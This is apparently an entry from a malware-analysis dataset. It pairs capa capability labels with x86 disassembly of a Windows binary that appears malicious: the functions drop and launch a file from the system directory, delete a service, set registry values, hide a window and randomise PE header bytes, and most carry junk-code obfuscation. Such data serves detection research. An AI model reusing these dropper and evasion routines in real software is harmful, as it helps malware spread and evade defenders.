joyce8/EMBER2024-capa huggingface dataset:
Function at 0x4629df
Capabilities:
Get graphical window text

Disassembly:
push esi
mov esi, ecx
mov ecx, dword [esi + 0x38]
test ecx, ecx
jne 0x462a17
push dword [esi + 0x1c]
call dword [sym.imp.USER32.dll_GetWindowTextLengthA]
lea ecx, [eax + 1]
push ecx
mov ecx, dword [esp + 0xc]
push eax
call fcn.00460a96
push eax
push dword [esi + 0x1c]
call dword [sym.imp.USER32.dll_GetWindowTextA]
mov ecx, dword [esp + 8]
push 0xffffffffffffffff
call fcn.00460a6e
jmp 0x462a23
mov eax, dword [ecx]
push dword [esp + 8]
call dword [eax + 0x88]
pop esi
ret 4

Function at 0x4640cd
Capabilities:
Extract resource via kernel32 functions

Disassembly:
push ebx
push esi
push edi
xor edi, edi
cmp dword [esp + 0x10], edi
mov ebx, ecx
je 0x46410f
call fcn.00469c4e
mov esi, dword [eax + 0xc]
push pe_nt_image_headers32
push dword [esp + 0x14]
push esi
call dword [sym.imp.KERNEL32.dll_FindResourceA]
cmp eax, edi
je 0x46410f
push eax
push esi
call dword [sym.imp.KERNEL32.dll_LoadResource]
cmp eax, edi
jne 0x464106
xor eax, eax
jmp 0x464117
push eax
call dword [sym.imp.KERNEL32.dll_LockResource]
mov edi, eax
push edi
mov ecx, ebx
call fcn.0046411d
pop edi
pop esi
pop ebx
ret 4

Function at 0x46a17e
Capabilities:
Get thread local storage value

Disassembly:
push ebx
push esi
mov esi, ecx
lea ebx, [esi + 0x1c]
push ebx
call dword [sym.imp.KERNEL32.dll_EnterCriticalSection]
cmp dword [esp + 0x10], 0
jne 0x46a1ac
push dword [esi]
call dword [sym.imp.KERNEL32.dll_TlsGetValue]
test eax, eax
je 0x46a1ca
push dword [esp + 0xc]
mov ecx, esi
push eax
call fcn.0046a0e4
jmp 0x46a1ca
mov eax, dword [esi + 0x14]
test eax, eax
je 0x46a1ca
push edi
push dword [esp + 0x10]
mov edi, dword [eax + 4]
mov ecx, esi
push eax
call fcn.0046a0e4
test edi, edi
mov eax, edi
jne 0x46a1b4
pop edi
push ebx
call dword [sym.imp.KERNEL32.dll_LeaveCriticalSection]
pop esi
pop ebx
ret 8
Function at 0x401000
Capabilities:
Get common file path

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x230
mov eax, dword [ebp + 0xc]
push ebx
push esi
push edi
mov dword [ebp - 4], eax
xor dl, dl
mov ecx, 0x40
xor eax, eax
lea edi, [ebp - 0x22f]
mov byte [ebp - 0x230], dl
rep stosd dword es:[edi], eax
stosw word es:[edi], ax
stosb byte es:[edi], al
mov ecx, 0x40
xor eax, eax
lea edi, [ebp - 0x12b]
mov byte [ebp - 0x12c], dl
rep stosd dword es:[edi], eax
stosw word es:[edi], ax
lea ecx, [ebp - 0x230]
push 0x104
push ecx
stosb byte es:[edi], al
call dword [sym.imp.KERNEL32.dll_GetSystemDirectoryA]
push edx
push bx
mov dl, 0xc
test dx, 0x40ef
test bh, bh
pop bx
pop edx
lea edi, [ebp - 0x230]
or ecx, 0xffffffff
xor eax, eax
lea edx, [ebp - 0x12c]
repne scasb al, byte es:[edi]
not ecx
sub edi, ecx
mov eax, ecx
mov esi, edi
mov edi, edx
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, eax
and ecx, 3
rep movsb byte es:[edi], byte [esi]
pushal
test bx, 0xa43
cmp ch, 0x6e
sub ch, bl
cmp dx, 0x7a98
sub ecx, edx
popal
mov edi, 0x407048
or ecx, 0xffffffff
xor eax, eax
lea edx, [ebp - 0x12c]
repne scasb al, byte es:[edi]
not ecx
sub edi, ecx
mov esi, edi
mov ebx, ecx
mov edi, edx
or ecx, 0xffffffff
repne scasb al, byte es:[edi]
mov ecx, ebx
dec edi
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, ebx
and ecx, 3
rep movsb byte es:[edi], byte [esi]
js 0x4010df
jns 0x4010df
add eax, 0x8dd8458d
invalid
lea eax, [ebp - 0x28]
lea ecx, [ebp - 0x12c]
push eax
push 0
push ecx
call dword [sym.imp.KERNEL32.dll_GetFileAttributesExA]
mov edi, dword [ebp + 0xc]
cmp edi, 0xffffffff
jne 0x401115
mov edx, dword [ebp + 8]
push edx
call fcn.00403700
mov esi, eax
add esp, 4
cmp esi, edi
jne 0x401118
xor eax, eax
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret
mov esi, dword [ebp - 4]
push ebx
test ebx, 0x2fbf
cmp bh, ch
add bh, 0x30
pop ebx
lea eax, [ebp - 0x14]
lea ecx, [ebp - 0x1c]
push eax
lea edx, [ebp - 0x24]
push ecx
push edx
push esi
call dword [sym.imp.KERNEL32.dll_SetFileTime]
cmp edi, 0xffffffff
jne 0x401144
push esi
call dword [sym.imp.KERNEL32.dll_CloseHandle]
pop edi
pop esi
mov eax, 1
pop ebx
mov esp, ebp
pop ebp
ret
Function at 0x401620
Capabilities:
Delete service
Write file on windows

Disassembly:
push ebp
mov ebp, esp
push ebx
push esi
push edi
jo 0x40164a
push dx
mov dx, 0x7a78
pop dx
jno 0x40164a
insb byte es:[edi], dx
mov bl, 0xbc
ja 0x4016b5
fdiv qword [eax - 0x7f6a6a73]
push 0x56
mov bh, byte [ecx]
mov eax, 0x8b0c458b
dec ebp
or byte [eax - 1], ch
add dword [edi], ecx
add byte [eax + 0x51], dl
mov eax, dword [ebp + 0xc]
mov ecx, dword [ebp + 8]
push 0xf01ff
push eax
push ecx
call dword [sym.imp.ADVAPI32.dll_OpenServiceA]
mov ebx, eax
test ebx, ebx
jne 0x401668
pop edi
pop esi
pop ebx
pop ebp
ret
push ecx
and ch, al
cmp ch, 0x21
test ch, 0x5b
cmp ecx, edx
test ecx, 0x709c
xor ch, 6
pop ecx
push ebx
call dword [sym.imp.ADVAPI32.dll_DeleteService]
mov dword [ebp + 0xc], eax
push eax
push edi
push esi
inc si
cmp edi, eax
pop esi
pop edi
pop eax
push ebx
call dword [sym.imp.ADVAPI32.dll_CloseServiceHandle]
mov eax, dword [ebp + 0xc]
pop edi
pop esi
pop ebx
pop ebp
ret
add esp, 8
test esi, esi
jne 0x4016c0
pop esi
pop ebx
pop ebp
ret
push eax
push dx
inc eax
pop dx
pop eax
mov edx, dword [ebp + 0x14]
mov eax, dword [ebp + 0x10]
push esi
push edx
push 1
push eax
call dword [sym.imp.MSVCRT.dll_fwrite]
jb 0x4016f1
push edx
mov dx, 0xecd6
pop edx
jae 0x4016f1
cmc
adc eax, 0x7c8ecb0d
xor dword [esi + 0x43d1773a], 0x5627e95e
push esi
call dword [sym.imp.MSVCRT.dll_fflush]
add esp, 0x14
push edx
push bx
cmp edx, esi
inc dl
cmp dh, cl
mov edx, 0x5a9c
test dx, bx
test edx, 0x5a77
inc bl
and dh, 0x55
xor bl, dh
pop bx
pop edx
push esi
call dword [sym.imp.MSVCRT.dll_fclose]
add esp, 4
mov eax, 1
pop esi
pop ebx
pop ebp
ret

Function at 0x4016a0
Capabilities:
Write file on windows

Disassembly:
push ebp
mov ebp, esp
mov eax, dword [ebp + 0xc]
mov ecx, dword [ebp + 8]
push ebx
push esi
push eax
push ecx
call dword [sym.imp.MSVCRT.dll_fopen]
mov esi, eax
Function at 0x401760
Capabilities:
Create process on windows
Get common file path

Disassembly:
mov eax, dword [0x425740]
sub esp, 0x82c
push ebx
xor ebx, ebx
cmp eax, ebx
jne 0x40177c
xor eax, eax
pop ebx
add esp, 0x82c
ret
xor eax, eax
push ebp
mov dword [esp + 9], eax
push esi
mov dword [esp + 0x11], eax
push edi
mov dword [esp + 0x19], eax
mov ecx, 0x40
mov word [esp + 0x1d], ax
lea edi, [esp + 0x2d]
mov byte [esp + 0x1f], al
mov byte [esp + 0x2c], bl
rep stosd dword es:[edi], eax
stosw word es:[edi], ax
stosb byte es:[edi], al
mov ecx, 0x40
xor eax, eax
lea edi, [esp + 0x131]
mov byte [esp + 0x130], bl
rep stosd dword es:[edi], eax
stosw word es:[edi], ax
stosb byte es:[edi], al
mov ecx, 0xff
xor eax, eax
lea edi, [esp + 0x43d]
mov byte [esp + 0x43c], bl
rep stosd dword es:[edi], eax
stosw word es:[edi], ax
lea ecx, [esp + 0x338]
push 0x104
push ecx
mov byte [esp + 0x18], bl
stosb byte es:[edi], al
call dword [sym.imp.KERNEL32.dll_GetSystemDirectoryA]
lea edx, [esp + 0x130]
push 0x104
push edx
push ebx
call dword [sym.imp.KERNEL32.dll_GetModuleFileNameA]
lea eax, [esp + 0x10]
push 6
push eax
call fcn.004035f0
add esp, 8
lea ecx, [esp + 0x10]
lea edx, [esp + 0x338]
lea eax, [esp + 0x234]
push ecx
push edx
push 0x4072e4
push eax
call dword [sym.imp.MSVCRT.dll_sprintf]
add esp, 0x10
mov dword [esp + 0x20], 0x40735c
mov dword [esp + 0x24], 0x407360
mov dword [esp + 0x28], 0x40736c
lea edx, [esp + 0x20]
mov ebp, 3
lea edi, [esp + 0x2c]
or ecx, 0xffffffff
xor eax, eax
lea ebx, [esp + 0x2c]
repne scasb al, byte es:[edi]
mov edi, dword [edx]
add edx, 4
not ecx
dec ecx
mov byte [esp + ecx + 0x2c], 0xa
or ecx, 0xffffffff
repne scasb al, byte es:[edi]
not ecx
sub edi, ecx
mov esi, edi
mov edi, ebx
mov ebx, ecx
or ecx, 0xffffffff
repne scasb al, byte es:[edi]
mov ecx, ebx
dec edi
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, ebx
and ecx, 3
dec ebp
rep movsb byte es:[edi], byte [esi]
jne 0x40185a
movsx ecx, byte [esp + 0x338]
lea edx, [esp + 0x130]
push ecx
lea eax, [esp + 0x134]
push edx
lea ecx, [esp + 0x34]
push eax
lea edx, [esp + 0x448]
push ecx
push edx
call dword [sym.imp.MSVCRT.dll_sprintf]
lea edi, [esp + 0x450]
or ecx, 0xffffffff
xor eax, eax
lea edx, [esp + 0x450]
repne scasb al, byte es:[edi]
not ecx
dec ecx
mov edi, 0x407384
mov byte [esp + ecx + 0x450], 0xa
or ecx, 0xffffffff
repne scasb al, byte es:[edi]
not ecx
sub edi, ecx
mov esi, edi
mov ebx, ecx
mov edi, edx
or ecx, 0xffffffff
repne scasb al, byte es:[edi]
mov ecx, ebx
dec edi
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, ebx
and ecx, 3
rep movsb byte es:[edi], byte [esi]
lea edi, [esp + 0x450]
or ecx, 0xffffffff
repne scasb al, byte es:[edi]
not ecx
dec ecx
lea eax, [esp + 0x450]
push ecx
push eax
lea ecx, [esp + 0x250]
push 0x4072e0
push ecx
call fcn.004016a0
add esp, 0x24
test eax, eax
pop edi
pop esi
pop ebp
jne 0x40194c
pop ebx
add esp, 0x82c
ret
lea edx, [esp + 0x228]
push 0
push edx
call dword [sym.imp.KERNEL32.dll_WinExec]
mov eax, 1
pop ebx
add esp, 0x82c
ret
Function at 0x401d80
Capabilities:
Query or enumerate registry value

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x10c
push ebx
push esi
push edi
mov ecx, 0x40
xor eax, eax
lea edi, [ebp - 0x10b]
mov byte [ebp - 0x10c], 0
mov dword [ebp - 4], 0x104
rep stosd dword es:[edi], eax
stosw word es:[edi], ax
stosb byte es:[edi], al
pushal
sub ebx, 0xe88
test ecx, esi
dec ch
test bh, 0x2a
or ah, 0x12
sub bh, dh
or ax, ax
or al, 0x2f
cmp ch, 5
popal
lea eax, [ebp - 4]
lea ecx, [ebp - 0x10c]
push eax
lea edx, [ebp - 8]
push ecx
push edx
push 0x407488
push 0x407460
push SysStringLen
call dword [sym.imp.SHLWAPI.dll_SHGetValueA]
test eax, eax
je 0x401df9
xor eax, eax
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret
push edx
push bx
cmp edx, esi
inc dl
cmp dh, cl
mov edx, 0x5a9c
test dx, bx
test edx, 0x5a77
inc bl
and dh, 0x55
xor bl, dh
pop bx
pop edx
lea eax, [ebp - 0x10c]
push 0x2e
push eax
call dword [sym.imp.MSVCRT.dll_strchr]
add esp, 8
test eax, eax
jne 0x401e37
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret
push ebx
add bx, ax
mov bx, 0x6602
and bh, dl
pop ebx
lea ecx, [ebp - 0x10c]
mov byte [eax], 0
push ecx
call dword [sym.imp.MSVCRT.dll_atoi]
add esp, 4
cmp eax, 6
jne 0x401e66
mov eax, 1
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret
xor edx, edx
cmp eax, 7
sete dl
pop edi
pop esi
mov eax, edx
pop ebx
mov esp, ebp
pop ebp
ret
Function at 0x4027f0
Capabilities:
Packed with generic packer

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x130
push ebx
push esi
push edi
push 0
push 2
mov dword [ebp - 4], 0xffffffff
call dword [0x425728]
mov esi, eax
cmp esi, 0xffffffff
mov dword [ebp - 8], esi
jne 0x402820
or eax, eax
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret
mov ecx, 0x49
xor eax, eax
lea edi, [ebp - 0x12c]
mov dword [ebp - 0x130], 0x128
rep stosd dword es:[edi], eax
jb 0x402857
push esi
mov esi, 0xb484b386
pop esi
jae 0x402857
out 0xbd, eax
retf
lea eax, [ebp - 0x130]
push eax
push esi
call dword [0x42572c]
test eax, eax
je 0x4028cb
mov edi, dword [ebp + 8]
push ebx
push ax
xor al, bl
add ah, 0x25
cmp ax, dx
sub ax, dx
or ebx, 0x62f5
cmp ebx, edi
or ax, bx
test bl, 1
pop ax
pop ebx
lea ecx, [ebp - 0x10c]
push edi
push ecx
call dword [sym.imp.MSVCRT.dll__stricmp]
add esp, 8
test eax, eax
je 0x4028b4
lea edx, [ebp - 0x130]
push edx
push esi
call dword [0x425730]
test eax, eax
je 0x4028cb
jmp 0x40286c
pushaw
push ecx
test bl, ah
or ch, 0x47
pop ecx
popaw
mov eax, dword [ebp - 0x128]
mov esi, dword [ebp - 8]
mov dword [ebp - 4], eax
push esi
call dword [sym.imp.KERNEL32.dll_CloseHandle]
mov eax, dword [ebp - 4]
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret

Function at 0x4028e0
Capabilities:
Hide graphical window

Disassembly:
push ebp
mov ebp, esp
mov eax, dword [ebp + 8]
push 0
push eax
push 0
push 0
push 0
push 0x80000000
push 0
push 0x80000000
push 0xcf0000
push 0x425734
push 0x40749c
push 0
call dword [sym.imp.USER32.dll_CreateWindowExA]
test eax, eax
jne 0x402918
pop ebp
ret
je 0x402924
push ecx
mov cx, 0xec17
pop ecx
jne 0x402924
pushfd
popfd
push 0
push eax
call dword [sym.imp.USER32.dll_ShowWindow]
mov eax, 1
pop ebp
ret
Function at 0x402a60
Capabilities:
Write file on windows

Disassembly:
push ebp
mov ebp, esp
push ecx
push ebx
push esi
push eax
push dx
and al, bh
xor dl, al
or dh, dh
xor ah, 0x62
sub eax, 0x3488
and eax, 0x7ee5
dec dh
add eax, eax
pop dx
pop eax
call fcn.00401b80
mov dword [0x42573c], eax
jp 0x402aa9
mov ebx, ebx
mov esi, esi
xchg bx, bx
jnp 0x402aa9
psrlw mm1, qword [edx + 0x13]
enter 0x626d, 0x3f
daa
in eax, 0x78
retf
mov eax, dword [ebp + 8]
push 0
push 0x80
push 2
push 0
push 1
push 0x40000000
push eax
call dword [sym.imp.KERNEL32.dll_CreateFileA]
mov esi, eax
cmp esi, 0xffffffff
jne 0x402ad4
xor eax, eax
pop esi
pop ebx
mov esp, ebp
pop ebp
ret
push ebx
xor bx, 0x70c5
sub ebx, eax
or bx, cx
xor bl, bl
test cx, bx
cmp bh, cl
mov bh, 3
pop ebx
mov edx, dword [ebp + 0x10]
mov eax, dword [ebp + 0xc]
lea ecx, [ebp - 4]
push 0
push ecx
push edx
push eax
push esi
call dword [sym.imp.KERNEL32.dll_WriteFile]
test eax, eax
jne 0x402b08
pop esi
pop ebx
mov esp, ebp
pop ebp
ret
push eax
xor ax, bx
pop eax
mov eax, dword [0x42573c]
test eax, eax
je 0x402b29
push esi
call fcn.004029b0
add esp, 4
neg eax
sbb eax, eax
inc eax
mov dword [0x42573c], eax
jl 0x402b3e
xchg ecx, ecx
xchg ch, ch
jge 0x402b3e
fbstp tbyte [eax - 0x7ce92414]
push ebx
dec eax
daa
add dword [edx], 0x6a56df84
add al, ch
mov edx, 0x83ffffe4
les ecx, [eax]
push esi
push 0
call fcn.00401000
add esp, 8
push bx
push dx
push eax
cmp dh, 0x43
dec bl
dec bl
or bl, dh
cmp bl, 0x68
add bl, 0x3c
dec dl
dec bh
cmp eax, 0x6e32
pop eax
pop dx
pop bx
mov eax, dword [0x42573c]
test eax, eax
jne 0x402b7b
push esi
call dword [sym.imp.KERNEL32.dll_CloseHandle]
pop esi
mov eax, 1
pop ebx
mov esp, ebp
pop ebp
ret
Function at 0x402b90
Capabilities:
Set registry value

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x264
push ebx
push esi
push edi
xor edx, edx
mov ecx, 0x40
xor eax, eax
lea edi, [ebp - 0x263]
mov byte [ebp - 0x264], dl
rep stosd dword es:[edi], eax
stosw word es:[edi], ax
stosb byte es:[edi], al
mov ecx, 0x40
xor eax, eax
lea edi, [ebp - 0x15f]
mov byte [ebp - 0x160], dl
rep stosd dword es:[edi], eax
stosw word es:[edi], ax
stosb byte es:[edi], al
mov eax, dword [ebp + 0xc]
xor esi, esi
mov ebx, 1
cmp eax, edx
mov dword [ebp - 0xc], ebx
mov dword [ebp - 4], edx
mov dword [ebp - 8], ebx
je 0x402be7
mov esi, ebx
push ebx
push cx
test dx, cx
test bl, ch
test cl, 0x43
and ch, bh
or cl, bl
and cx, di
pop cx
pop ebx
mov ebx, dword [ebp + 8]
mov edi, dword [sym.imp.MSVCRT.dll_sprintf]
push ebx
lea eax, [ebp - 0x160]
push 0x40708c
push eax
call edi
add esp, 0xc
lea ecx, [ebp - 0x264]
push ebx
push 0x4070a4
push ecx
call edi
lea eax, [ebp - 0x160]
lea ecx, [ebp - 0xc]
mov dword [ebp - 0x20], eax
mov dword [ebp - 0x18], ecx
lea eax, [ebp - 4]
lea ecx, [ebp - 8]
mov dword [ebp - 0x14], eax
mov dword [ebp - 0x10], ecx
lea edi, [ebp - 0x160]
or ecx, 0xffffffff
xor eax, eax
add esp, 0xc
repne scasb al, byte es:[edi]
not ecx
dec ecx
mov edi, ebx
mov dword [ebp - 0x48], ecx
or ecx, 0xffffffff
repne scasb al, byte es:[edi]
not ecx
mov edx, 4
dec ecx
mov dword [ebp - 0x34], 0x4070cc
mov dword [ebp - 0x30], 0x4070d8
mov dword [ebp - 0x2c], 0x4070e4
mov dword [ebp - 0x28], 0x4070f4
mov dword [ebp - 0x24], 0x4070fc
mov dword [ebp - 0x5c], 2
mov dword [ebp - 0x58], 1
mov dword [ebp - 0x54], edx
mov dword [ebp - 0x50], edx
mov dword [ebp - 0x4c], edx
mov dword [ebp - 0x1c], ebx
mov dword [ebp - 0x44], ecx
mov dword [ebp - 0x40], edx
mov dword [ebp - 0x3c], edx
mov dword [ebp - 0x38], edx
jbe 0x402cc1
xchg bh, bh
mov ch, ch
xchg cl, cl
ja 0x402cc1
cmp esi, 5
jae 0x402d01
lea edi, [esi*4]
mov esi, dword [sym.imp.SHLWAPI.dll_SHSetValueA]
mov edx, dword [ebp + edi - 0x48]
mov eax, dword [ebp + edi - 0x20]
mov ecx, dword [ebp + edi - 0x5c]
push edx
mov edx, dword [ebp + edi - 0x34]
push eax
push ecx
lea eax, [ebp - 0x264]
push edx
push eax
push SysStringLen
call esi
test eax, eax
jne 0x402d0d
add edi, 4
cmp edi, 0x14
jb 0x402cd3
mov eax, 1
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret
pop edi
pop esi
xor eax, eax
pop ebx
mov esp, ebp
pop ebp
ret
Function at 0x403310
Capabilities:
Get common file path

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x210
push ebx
push edi
xor dl, dl
mov ecx, 0x40
xor eax, eax
lea edi, [ebp - 0x20f]
mov byte [ebp - 0x210], dl
mov byte [ebp - 0x10c], dl
rep stosd dword es:[edi], eax
stosw word es:[edi], ax
stosb byte es:[edi], al
mov ecx, 0x40
xor eax, eax
lea edi, [ebp - 0x10b]
rep stosd dword es:[edi], eax
stosw word es:[edi], ax
stosb byte es:[edi], al
push eax
test eax, 0x7cbd
sub ah, bl
cmp eax, 0x2aed
add ah, 0x4d
and eax, 0x26ae
dec ax
pop eax
lea eax, [ebp - 0x210]
push 0x104
push eax
call dword [sym.imp.KERNEL32.dll_GetSystemDirectoryA]
mov ecx, dword [ebp + 8]
lea edx, [ebp - 0x210]
push ecx
push edx
lea eax, [ebp - 0x10c]
push 0x407024
push eax
call dword [sym.imp.MSVCRT.dll_sprintf]
add esp, 0x10
push ebx
cmp ebx, esi
sub ebx, 0x6895
sub ebx, 0x50e0
mov bx, 0x26ca
xor bl, al
pop ebx
lea ecx, [ebp - 8]
lea edx, [ebp - 4]
push ecx
push edx
call fcn.00404e40
add esp, 8
push eax
push dx
inc eax
pop dx
pop eax
mov eax, dword [ebp - 4]
push eax
call fcn.00403440
jbe 0x4033e7
xchg bh, bh
xchg edi, edi
ja 0x4033e7
cmp eax, eax
xchg esp, eax
movsd dword es:[edi], dword [esi]
mov bh, 0xdf
mov ebp, 0x8be181d0
dec ebp
clc
mov ecx, dword [ebp - 8]
mov edx, dword [ebp - 4]
push ecx
lea eax, [ebp - 0x10c]
push edx
push eax
call fcn.00402a60
add esp, 0x10
test eax, eax
jne 0x403408
pop edi
pop ebx
mov esp, ebp
pop ebp
ret
jle 0x403418
push si
pop si
jg 0x403418
lea ecx, [ebp - 0x10c]
push 0xffffffffffffffff
push ecx
call fcn.00401000
add esp, 8
mov eax, 1
pop edi
pop ebx
mov esp, ebp
pop ebp
ret
Function at 0x403440
Capabilities:
Parse pe header

Disassembly:
push ebp
mov ebp, esp
push ecx
push ebx
push esi
push edi
jl 0x40345c
xchg ecx, ecx
xchg ch, ch
jge 0x40345c
fbstp tbyte [eax - 0x7ce92414]
push ebx
dec eax
daa
add dword [edx], 0x758bdf84
or byte [esi - 0x7f], ah
dec ebp
pop edx
mov esi, dword [ebp + 8]
cmp word [esi], 0x5a4d
je 0x40346f
xor eax, eax
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret
push eax
push ebx
push ecx
mov cl, 0x6d
inc ebx
pop ecx
pop ebx
pop eax
mov eax, dword [esi + 0x3c]
add eax, esi
jb 0x40349b
push esi
mov esi, 0xb484b386
pop esi
jae 0x40349b
out 0xbd, eax
retf
cmp dword [eax], 0x4550
je 0x4034ac
xor eax, eax
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret
jbe 0x4034ba
mov di, di
xchg edi, edi
ja 0x4034ba
and eax, 0xe2f4cc58
mov ecx, dword [eax + 0x58]
test ecx, ecx
je 0x4034ca
xor eax, eax
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret
mov edi, 0x40
push edx
push bx
mov dl, 0xc
test dx, 0x40ef
test bh, bh
pop bx
pop edx
push ebx
and bx, cx
pop ebx
cmp dword [esi + 0x3c], 0x80
ja 0x4034f5
jle 0x403522
add byte [eax], 0
add byte [edi + 9], dh
xor eax, eax
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret
jb 0x40350e
mov di, di
nop
nop
nop
jae 0x40350e
loope 0x4034e4
lodsd eax, dword [esi]
mov dword [edi], esi
cdq
mov eax, dword [0x9750e2b5]
mov esi, 0x8bb8ec44
jbe 0x40354d
mov esi, dword [esi + 0x3c]
cmp esi, 0xc0
jae 0x40351c
lea edi, [esi - 0x80]
jo 0x403533
mov dx, dx
nop
xchg cx, cx
jno 0x403533
mov al, 0x98
and ecx, dword [ecx - 0x7834e8a9]
mov ecx, 0xe8575d21
mov ebp, 0x8b00001a
rol byte [ebx - 0x2d7afb3c], 1
push edi
call 0x404ff6
mov edx, eax
add esp, 4
test edx, edx
mov dword [ebp - 4], edx
jne 0x40354c
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret
push eax
cmp ax, cx
and ah, dh
cmp ah, 0x3f
add ax, ax
add eax, eax
or eax, edx
xor ah, 0x6c
xor ax, bx
pop eax
xor esi, esi
test edi, edi
jbe 0x403598
push ebx
push cx
test dx, cx
test bl, ch
test cl, 0x43
and ch, bh
or cl, bl
and cx, di
pop cx
pop ebx
call dword [sym.imp.MSVCRT.dll_rand]
cdq
mov ecx, 0xff
idiv ecx
mov eax, dword [ebp - 4]
inc esi
cmp esi, edi
mov byte [esi + eax - 1], dl
jb 0x403567
mov edx, eax
push eax
push ecx
dec cx
xor eax, 0x687c
test dx, cx
test ah, 0x30
mov cx, 0xcd1
pop ecx
pop eax
mov eax, dword [ebp + 8]
mov ecx, edi
mov esi, edx
lea edi, [eax + 0x80]
mov eax, ecx
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, eax
and ecx, 3
rep movsb byte es:[edi], byte [esi]
jle 0x4035da
mov ax, ax
mov cx, cx
jg 0x4035da
aaa
jecxz 0x403556
hlt
push edx
call sub.MSVCRT.dll_void___cdecl_operator_delete_void__
add esp, 4
mov eax, 1
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret
Function at 0x403730
Capabilities:
Get session user name
Get user security identifier

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x31c
push ebx
push esi
mov esi, 0x104
push edi
mov dword [ebp - 0xc], esi
jbe 0x40375b
push eax
pop eax
ja 0x40375b
pop esi
fisubr dword [ecx + 0x7a96ed64]
dec esp
lea eax, [ebp - 0xc]
lea ecx, [ebp - 0x218]
push eax
push ecx
call dword [sym.imp.ADVAPI32.dll_GetUserNameA]
test eax, eax
jne 0x403777
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret
mov dword [ebp - 4], esi
mov dword [ebp - 8], esi
push eax
push edx
cmp dh, al
mov eax, 0x2562
add ax, di
test ax, 0x5cb2
cmp ax, di
cmp ax, di
or al, 0x4c
or eax, ecx
pop edx
pop eax
lea edx, [ebp - 0x10]
lea eax, [ebp - 8]
push edx
lea ecx, [ebp - 0x31c]
push eax
lea edx, [ebp - 4]
push ecx
lea eax, [ebp - 0x114]
push edx
lea ecx, [ebp - 0x218]
push eax
push ecx
push 0
call dword [sym.imp.ADVAPI32.dll_LookupAccountNameA]
test eax, eax
jne 0x4037cd
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret
push ecx
push dx
xor ch, ah
or cl, dl
sub dl, 0x3f
inc ch
test esi, ecx
test ch, 0x27
pop dx
pop ecx
mov edx, dword [ebp + 8]
lea eax, [ebp - 0x114]
push edx
push eax
call dword [sym.imp.ADVAPI32.dll_ConvertSidToStringSidA]
test eax, eax
jne 0x4037fd
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret
pushal
sub ebx, 0xe88
test ecx, esi
dec ch
test bh, 0x2a
or ah, 0x12
sub bh, dh
or ax, ax
or al, 0x2f
cmp ch, 5
popal
pop edi
pop esi
mov eax, 1
pop ebx
mov esp, ebp
pop ebp
ret